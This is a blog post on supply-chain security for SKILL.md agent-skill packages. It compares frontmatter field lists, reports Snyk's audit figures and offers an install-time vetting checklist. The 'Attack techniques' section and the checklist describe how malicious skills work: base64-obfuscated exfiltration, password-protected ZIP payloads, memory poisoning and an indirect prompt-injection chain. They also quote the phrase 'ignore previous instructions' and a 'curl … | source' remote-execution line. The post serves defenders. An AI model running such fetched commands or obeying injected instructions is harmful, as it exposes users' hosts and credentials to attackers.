A SKILL.md package is not merely a prompt: an active skill can direct an agent to read files, execute commands, use credentials, and make network requests. That makes skill authoring and installation a supply-chain decision. The challenge is that the published format and a vendor’s expanded reference enumerate different frontmatter fields, while marketplace claims about review and security are not all backed by independent measurements.
A practical policy is to author to the published specification, validate with the documented validator, and review every install for behavior—not just formatting or marketplace presence. That caution is grounded in the most comprehensive published audit reviewed here: Snyk reported that 36.82% of scanned skills (1,467 of 3,984) had at least one security flaw.
This post covers the marketplace side only: what the directories claim, how the two published field lists diverge, and what the scans measured. The authoring contract itself — the directory shape, the progressive-disclosure token budgets, and the portability matrix — is covered in our SKILL.md authoring guide.
The frontmatter problem
There are two field enumerations to keep distinct. The published specification lists name, description, license, compatibility, metadata, and allowed-tools. The Agensi format reference describes those shared concepts alongside additional fields: when_to_use, argument-hint, arguments, context, model, effort, disable-model-invocation, and hooks.
Only name, description, and allowed-tools appear in both enumerations. Even the shared allowed-tools field differs in representation: the specification defines a space-separated string, while Agensi’s reference shows a YAML list. Do not silently merge the enumerations or assume that a field supported by one agent or reference is part of the portable specification.
Artifact 1: Frontmatter Conformance Checklist
The checklist below keeps the two references side by side. For “Cross-agent support,” “Not stated” means Agensi’s published compatibility matrix does not list that field.
| Field | In agentskills.io spec? | In Agensi reference? | Required? | Stated constraint | Cross-agent support per Agensi’s matrix |
|---|---|---|---|---|---|
name |
Yes | Yes | Yes in both | Spec: Must be 1-64 characters; lowercase letters, numbers, and hyphens only; must not start or end with a hyphen; must not contain consecutive hyphens; must match the parent directory name. | Claude Code, Codex CLI, Cursor, OpenClaw, Gemini CLI, and Copilot |
description |
Yes | Yes | Yes in both | Spec: Must be 1-1024 characters; non-empty; describes what the skill does and when to use it. Agensi: one to three sentences; first sentence says what it does, second indicates when to use it. | Claude Code, Codex CLI, Cursor, OpenClaw, Gemini CLI, and Copilot |
license |
Yes | Not listed | No in spec | License name or reference to a bundled license file. | Not stated |
compatibility |
Yes | Not listed | No in spec | Must be 1-500 characters if provided; indicates environment requirements. | Not stated |
metadata |
Yes | Not listed | No in spec | Arbitrary key-value mapping; a map from string keys to string values. | Not stated |
allowed-tools |
Yes | Yes | No in spec; optional in Agensi reference | Spec: space-separated string of pre-approved tools; experimental. Agensi: YAML list example; describes a tool restriction. | Claude Code and OpenClaw; other listed agents show No |
when_to_use |
No | Yes | Optional in Agensi reference | Extended trigger guidance supplements the description. | Claude Code, OpenClaw, Codex CLI, and Gemini CLI; Cursor and Copilot Partial |
argument-hint |
No | Yes | Optional in Agensi reference | Tells the agent what input to provide when invoking the skill. | Not stated |
arguments |
No | Yes | Optional in Agensi reference | Structured arguments the skill accepts. | Not stated |
context |
No | Yes | Optional in Agensi reference | fork runs the skill as an isolated subagent in Claude Code. |
Claude Code only |
model |
No | Yes | Optional in Agensi reference | Specifies which model the skill should use when forked. | Not stated |
effort |
No | Yes | Optional in Agensi reference | Controls reasoning depth. | Not stated |
disable-model-invocation |
No | Yes | Optional in Agensi reference | When true, the skill only activates when explicitly invoked. |
Not stated |
hooks |
No | Yes | Optional in Agensi reference | Event-driven triggers that run automatically. | Claude Code only |
For a portability-first package, keep the published specification’s required fields valid, and treat additions as agent-specific unless the target’s support is documented. The matrix in Agensi’s reference marks name and description across its listed agents, while several optional fields are limited or unsupported. This is a compatibility signal, not proof that every implementation handles all semantics identically.
Measured: the spec constraints against a 179-skill library
To see whether the name and description rules are actually obeyed in practice, we ran those two constraints against the 179 SKILL.md files in a working agent skill library — parsing each file’s YAML frontmatter and comparing the declared name to its parent directory, applying the lowercase/hyphen regex, and measuring the description length. Result: 179 of 179 declare a name, 179 match their parent directory exactly, 179 satisfy the regex, and every description sits inside the 1–1024 character bound. The library is curated rather than scraped, so this is a conformance baseline for hand-maintained skills, not a sample of public marketplaces — nothing here implies public catalogs look the same.
Progressive disclosure, in one line
Loading is layered: metadata at roughly 100 tokens, the full instructions under a 5,000-token recommendation, and resources on demand — the specification states the budgets and the project overview names the stages discovery, activation, and execution. Agensi’s reference draws the practical consequence: “a 2,000-word skill … will underperform four separate 500-word skills”. Token accounting for those layers is in our authoring guide.
The validation gate
The specification documents one validation command:
skills-ref validate ./my-skillThe skills-ref reference library checks whether SKILL.md frontmatter is valid and follows naming conventions. That makes it a useful authoring gate for format and naming, not a security verdict: the documented validation description does not claim to detect malicious instructions or unsafe runtime behavior.
Among the sources reviewed, this is the only documented skill-validation command. None of the sources reviewed document publishing, signing, or versioning workflows. Keep those boundaries clear in internal processes: a package can pass format validation and still require security review.
The threat model
Skills inherit the agent’s capabilities. Snyk lists shell access, file read/write permissions, credentials in environment variables and configuration files, messaging, and persistent memory among the access surfaces. Agensi’s security guidance puts the privilege relationship plainly: “the agent operates with the same permissions you have.”
That means a skill’s body is security-relevant even when it contains no executable script. Instructions can tell an agent to run commands, inspect credential-bearing files, send information, or accept fetched content. Scripts and dependencies add further review surfaces. Agensi recommends reading the SKILL.md and every script for unknown network requests, remote downloads and execution, environment-variable access, and file modifications outside the project.
A useful mental model is to review the entire path from instruction to effect: what information can the agent read, what commands can it run, where can it send data, and what can persist? Neither a marketplace listing nor a valid frontmatter block answers those questions by itself.
What the audit found
Snyk reported scanning 3,984 skills from ClawHub and skills.sh as of February 5, 2026. Its results included 13.4% (534) with a CRITICAL issue, 36.82% (1,467) with any security flaw, and 76 confirmed malicious payloads. Eight of those malicious skills remained publicly available on ClawHub as of publication. Those figures describe the scan and its methodology; they do not establish the risk of every skill or marketplace.
Snyk’s detection-rate table is reproduced below. The source describes the skills.sh column as a curated top-100 set, the middle column as confirmed malicious samples, and the ClawHub column as the full marketplace.
| Security policy | skills.sh (top 100) | Confirmed malicious | ClawHub (all) |
|---|---|---|---|
| Prompt Injection | 0.0% | 91% | 2.6% |
| Malicious Code | 0.0% | 100% | 5.3% |
| Suspicious Download | 0.0% | 100% | 10.9% |
| Credential Handling | 5.0% | 63% | 7.1% |
| Secret Detection | 2.0% | 32% | 10.9% |
| Third-Party Content | 9.0% | 54% | 17.7% |
| Unverifiable Dependencies | 2.0% | 21% | 2.9% |
| Direct Money Access | 2.0% | 10% | 8.7% |
These are the Snyk-reported detection rates, not a comparative ranking of marketplaces. Snyk also states the important caveat: “We do not assume every malicious skill results in successful compromise”. Treat the results as evidence of observed risk and attack paths, not proof that every flagged skill caused an incident.
Attack techniques
Snyk describes external malware distribution through skill setup instructions, including password-protected ZIP files that can impede automated inspection. Its examples also include obfuscated data exfiltration using base64 and instructions that weaken security or cause destructive changes. It reports runtime fetching patterns such as curl https://remote-server.com/instructions.md | source; 2.9% of ClawHub skills and 21% of malicious samples dynamically fetched and executed external content.
Indirect prompt injection can also arrive through content fetched by an otherwise legitimate skill. The attack chain is:
- An attacker posts prompt-injected content on a public forum or API.
- A user invokes a skill that fetches content from that source.
- The skill retrieves the poisoned content.
- The agent interprets embedded instructions as legitimate commands.
This chain is why review cannot stop at the skill’s static instructions. A skill can fetch material that changes what the agent sees, even if the skill author’s stated purpose is benign.
Artifact 2: Install-time vetting checklist
Use this table to guide a human review. The policy names and risk levels are Snyk’s; red-flag examples and finding IDs are tied to the behaviors and example output described in the source. The IDs are review leads, not a claim that each policy maps one-to-one to a scanner finding. Agensi separately says its review checks include dangerous command patterns, hardcoded secrets, obfuscation, environment-variable harvesting, and prompt injection.
| Policy | What to look for | Example red-flag pattern | Corresponding mcp-scan finding ID |
Reviewer question |
|---|---|---|---|---|
| Prompt injection detection — CRITICAL | Hidden or deceptive instructions, obfuscation, Unicode smuggling, “ignore previous instructions” patterns, or system-message impersonation. | Base64-encoded instructions, including a decoded curl command. |
E004 | Does any instruction attempt to override safety guidance or conceal what the agent is being asked to do? |
| Malicious code detection — CRITICAL | Backdoors, data exfiltration, remote code execution, credential theft, typosquatting, or executables requiring elevated privileges. | A script or binary that extracts credentials or installs a backdoor. | E006 | What does each command execute, and does it alter the host or transmit data? |
| Suspicious download detection — CRITICAL | Downloads from unknown domains, unfamiliar GitHub releases, or password-protected ZIP archives. | Downloading a password-protected ZIP and running the extracted binary. | E005 | Can the downloaded material be inspected, and is its source explained by the skill’s purpose? |
| Credential Handling Detection — HIGH | Instructions to print API keys, embed credentials in commands, or ask users to share secrets in outputs. | A command that reads credentials and includes them in a network request. | W008 | Does the workflow expose credentials in output, commands, or outbound requests? |
| Secret detection — HIGH | Hardcoded secrets, API keys, or credentials embedded in prompts or instructions. | An embedded extraction password or token. | W008 | Is any secret value present where a reference to an environment variable would suffice? |
| Third-party content exposure — MEDIUM | Untrusted fetched content, web fetching, social-media parsing, or external repository cloning. | Fetching public content that the agent then treats as instructions. | W011 | What external content is read, and how should the agent treat instructions found in it? |
| Unverifiable dependencies — MEDIUM | External URLs controlling agent behavior at runtime, dynamic imports, or remote instruction loading. | `curl … | source` or equivalent remote instruction execution. | E005 / E006 |
| Direct money access — MEDIUM | Direct access to financial accounts, trading platforms, payment systems, crypto operations, or bank accounts. | Instructions that connect to financial accounts or initiate transactions. | Not stated | Does the skill need this access, and are consequential actions explicitly bounded? |
For a first-pass audit of installed skills, Snyk recommends uvx mcp-scan@latest --skills. If a skill handles API keys, cloud credentials, or financial access, rotate credentials where appropriate. Review SOUL.md and MEMORY.md for unauthorized modifications because Snyk notes that malicious skills can poison agent memory for persistence. The source also identifies specific skills and authors; check Snyk’s publication for its indicators and treat their availability status only as stated there, “as of publication.”
Writing secure skills
Start with least exposure. Agensi advises against hardcoding secrets and recommends referring to environment variables by name instead. That advice is concrete: a second Snyk analysis of the same 3,984-skill ClawHub registry found 283 skills — an estimated 7.1% — whose instructions push API keys, passwords, and card numbers through the model’s context and into logs. Scope file access to the project directory; avoid instructions that reference ~/, /etc/, or other system paths. Be explicit about commands rather than telling the agent to run anything it considers necessary.
For destructive or expensive actions, Agensi recommends disable-model-invocation: true so the skill only runs when explicitly invoked. This field appears in Agensi’s reference, not the specification’s field enumeration, so confirm support in the target agent before relying on it. Document the files, commands, and environment variables the skill needs. That access description gives both users and reviewers a concrete surface to check.
A secure authoring review should also follow each external input. If the skill fetches web pages, repositories, or API responses, explain their role and keep their contents distinct from trusted instructions. Snyk’s indirect-injection example shows why a legitimate retrieval workflow can still expose an agent to hostile content.
The marketplace and directory landscape
Agensi’s directory article says there were at least 12 notable directories and marketplaces as of June 2026. Its marketplace and security statements are vendor self-claims. By contrast, ClawHub and the skills.sh top-100 figures below are Snyk’s measurements. The two sources use “curated” differently: Agensi describes its own review and scanning, while Snyk labels a skills.sh top-100 dataset “curated” for its measurement. None of the sources reviewed rank marketplaces by measured malicious-skill rate.
| Directory/Marketplace | Scope as stated | Curation/scanning as stated | Stated gaps/caveats | Source |
|---|---|---|---|---|
| Agensi | 2,000+ skills across SKILL.md-compatible agents; paid and free skills | Vendor self-claim: automated 8-point security checklist and manual review; describes itself as “the only curated marketplace with end-to-end security scanning” | Vendor says review is best-effort and does not guarantee complete safety | Agensi directories |
| ClaudeSkills.info | Free directory aggregating SKILL.md files from GitHub and other sources | No security scanning or creator verification, according to Agensi | Manual review required before installing, according to Agensi | Agensi directories |
| skills.sh | Community-contributed skills; command-line installation focus | Minimal curation, according to Agensi | Not stated | Agensi directories |
| skills.sh top-100 (as measured by Snyk) | Curated top-100 skills dataset | Snyk measured detection rates for this dataset | This is a dataset used for comparison, not a marketplace-wide rate | Snyk |
| ClawHub | Agent skills; included in Snyk’s scan | Snyk measured the full ClawHub marketplace | Snyk reported its scan results; none of the sources reviewed provide a marketplace security ranking | Snyk |
| Addy Osmani’s agent-skills | Curated GitHub collection; smaller, hand-picked selection, according to Agensi | Described as curated by Agensi | Not stated | Agensi directories |
| Awesome-SKILL.md | GitHub lists of community-contributed skills | Basic categorization, according to Agensi | Not stated | Agensi directories |
| Smithery | MCP server directory | Described by Agensi as the leading MCP server directory | Focuses on MCP servers rather than SKILL.md skills | Agensi directories |
| PulseMCP | MCP directory | Curated collection, according to Agensi | Not stated | Agensi directories |
| mcp.run | Runtime for MCP servers with a directory of available servers | Not stated | MCP server use case | Agensi directories |
| Cursor Directory | Lists .cursorrules files for Cursor |
Not stated | Not SKILL.md compatible, according to Agensi | Agensi directories |
| GitHub Marketplace | Copilot extensions and plugins | Not stated | Not SKILL.md format, according to Agensi | Agensi directories |
Use the table to understand stated scope, not to infer relative safety. Vendor descriptions tell you what a directory says it does; Snyk’s measurements cover the datasets its article names. Neither supports a security ranking across all the listed options.
The Bottom Line
Treat each skill as a supply-chain artifact with instructions, possible executable code, and access mediated by the agent’s permissions. Author to the published specification, keep the body focused, use skills-ref validate ./my-skill for the documented format check, and then review the whole package for commands, external inputs, secrets, and access scope. At install time, scan and inspect rather than trusting a listing or a valid header. Marketplace claims and independent measurements are different kinds of evidence; preserve that distinction when making a decision.
FAQ
Which frontmatter fields are required?
The specification requires name and description. Agensi’s reference also identifies those fields as required. The specification’s optional fields are license, compatibility, metadata, and allowed-tools; Agensi’s expanded reference lists additional agent-specific fields separately.
Is SKILL.md a ratified standard?
Agensi calls SKILL.md an open standard published by Anthropic. The published specification does not describe governance, and none of the sources reviewed identifies a standards body. Those sources do not establish a ratification process.
What permissions can a skill inherit?
Snyk lists shell access, file read/write, credentials in environment variables and configuration files, messaging, and persistent memory. Agensi states that the agent operates with the same permissions you have. Review access in the context of the agent that will activate the skill.
How should installed skills be scanned?
Snyk’s documented immediate action is uvx mcp-scan@latest --skills. Follow that with a manual review of the skill instructions and scripts. If credential-bearing skills were installed, Snyk recommends rotating credentials and reviewing SOUL.md and MEMORY.md for unauthorized changes.
Which marketplace is safest?
None of the sources reviewed rank marketplaces by measured malicious-skill rate. Agensi describes its own scanning and review as a vendor self-claim; Snyk reports measurements for ClawHub and a skills.sh top-100 dataset. Those sources do not support a cross-marketplace safety ranking.
Does passing validation mean a skill is safe?
No. The documented skills-ref command checks frontmatter validity and naming conventions. The specification does not describe it as a behavioral security scanner. Review the body, scripts, dependencies, and external content separately.
How This Guide Was Built
This guide draws on the published Agent Skills specification and the reference repository that hosts the format and validator, Agensi’s format reference, Agensi’s security guidance, its directory overview, Snyk’s ToxicSkills audit, its credential-leak analysis, and the curated skills-security reading list maintained by LLMSecurity. Field support and marketplace descriptions are attributed to the sources that publish them; security findings are attributed to Snyk’s reported scans. Absence claims are limited to the sources reviewed.
This guide is based on the published specification, vendor documentation and third-party security research; we did not run these marketplaces hands-on. The one original measurement here is the local conformance count (179 skill files, parsed from YAML frontmatter and compared field by field) — the script is a short frontmatter parser, and those counts are its actual output.
📖 Related Reads
- Hermes Tutorials — Hermes Agent setup, configuration, and advanced workflows
- ToolBrain — tool reviews, LLM comparisons, and AI workflow guides
Cross-links automatically generated from NiteAgent.
← Back to all posts
